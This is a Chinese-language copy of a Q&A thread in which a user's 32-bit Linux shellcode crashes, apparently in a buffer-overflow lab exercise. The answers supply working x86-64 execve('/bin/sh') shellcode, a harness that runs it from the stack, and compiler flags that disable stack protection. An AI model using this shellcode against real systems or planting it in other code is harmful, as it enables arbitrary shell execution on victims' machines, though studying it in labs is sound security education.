代码之家  ›  专栏  ›  技术社区  ›  Kevin Jones

外壳代码缓冲区溢出-SegFault

  •  1
  • Kevin Jones  · 技术社区  · 7 年前

    我试着运行这个外壳代码,但我总是遇到分割错误

    /* call_shellcode.c */
    /*A program that creates a file containing code for launching shell*/
    #include <stdlib.h>
    #include <stdio.h>
    #include <string.h>
    const char code[] =
       "\x31\xc0" /* Line 1: xorl %eax,%eax */
       "\x50" /* Line 2: pushl %eax */
       "\x68""//sh" /* Line 3: pushl $0x68732f2f */
       "\x68""/bin" /* Line 4: pushl $0x6e69622f */
       "\x89\xe3" /* Line 5: movl %esp,%ebx */
       "\x50" /* Line 6: pushl %eax */
       "\x53" /* Line 7: pushl %ebx */
       "\x89\xe1" /* Line 8: movl %esp,%ecx */
       "\x99" /* Line 9: cdq */
       "\xb0\x0b" /* Line 10: movb $0x0b,%al */
       "\xcd\x80" /* Line 11: int $0x80 */
       ;
    int main(int argc, char **argv)
    {
       char buf[sizeof(code)];
       strcpy(buf, code);
       ((void(*)( ))buf)( );
    }
    

    我使用以下方法编译它:

     gcc -z execstack -o call_shellcode call_shellcode.c
    

     gcc -fno-stack-protector -z execstack -o call_shellcode call_shellcode.c
    

    但我总是犯分割错误

    3 回复  |  直到 7 年前
        1
  •  2
  •   sinkmanu    7 年前

    您正在x86-64系统上使用32位汇编代码。所以,这是您的问题,您必须为x86-64系统创建外壳代码。

      400078:   48 31 c0                xor    rax,rax
      40007b:   48 bf 2f 2f 62 69 6e    movabs rdi,0x68732f6e69622f2f
      400082:   2f 73 68 
      400085:   48 31 f6                xor    rsi,rsi
      400088:   56                      push   rsi
      400089:   57                      push   rdi
      40008a:   48 89 e7                mov    rdi,rsp
      40008d:   48 31 d2                xor    rdx,rdx
      400090:   b0 3b                   mov    al,0x3b
      400092:   0f 05                   syscall 
    

    32位汇编的主要区别之一是如何使用 系统调用 Linux Syscalls x86-64 您可以查看需要调用哪些寄存器 sys\U execve系统

    int execve(const char*filename,char*const argv[], char*const envp[]);

    • 常量字符*文件名->rdi
    • char*const envp[]->rdx公司

      #include <stdlib.h>
      #include <stdio.h>
      #include <string.h>
    
      const char code[] = "\x48\x31\xc0\x48\xbf\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\x31\xf6\x56\x57\x48\x89\xe7\x48\x31\xd2\xb0\x3b\x0f\x05";
      int main(int argc, char **argv)
      {
           char buf[sizeof(code)];
           strcpy(buf, code);
           ((void(*)( ))buf)( );
      }
    

    编译并测试它。

    $ gcc -fno-stack-protector -z execstack shellcode.c -o shellcode
    $ ./shellcode 
    $ uname -a
     Linux foobar 4.4.0-97-generic #120-Ubuntu SMP Tue Sep 19 17:28:18 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux
    
        2
  •  1
  •   Barmar    7 年前

    code 没有尾随空字节,因此不能使用 strcpy() 复制它。使用 memcpy() .

    memcpy(buf, code, sizeof(code));
    

    正如在评论中提到的,您的外壳代码是针对32位Linux的,但您正试图在64位系统上运行它。这可能解释了修复后的错误。

        3
  •  0
  •   Steve Foerster    3 年前

    你忘了 -m32 用于在64位系统上编译32位二进制文件的标志。看起来这就是你需要的:

    gcc -m32 -z execstack -o call_shellcode call_shellcode.c
    

    为了能够在64位系统上编译32位二进制文件,您需要可用的32位库。在基于Ubuntu的系统上,您可以通过以下方式安装它们:

    sudo apt-get install gcc-multilib
    

    请参阅: https://www.homeworkforyou.com/static_media/uploadedfiles/bufoverflow.pdf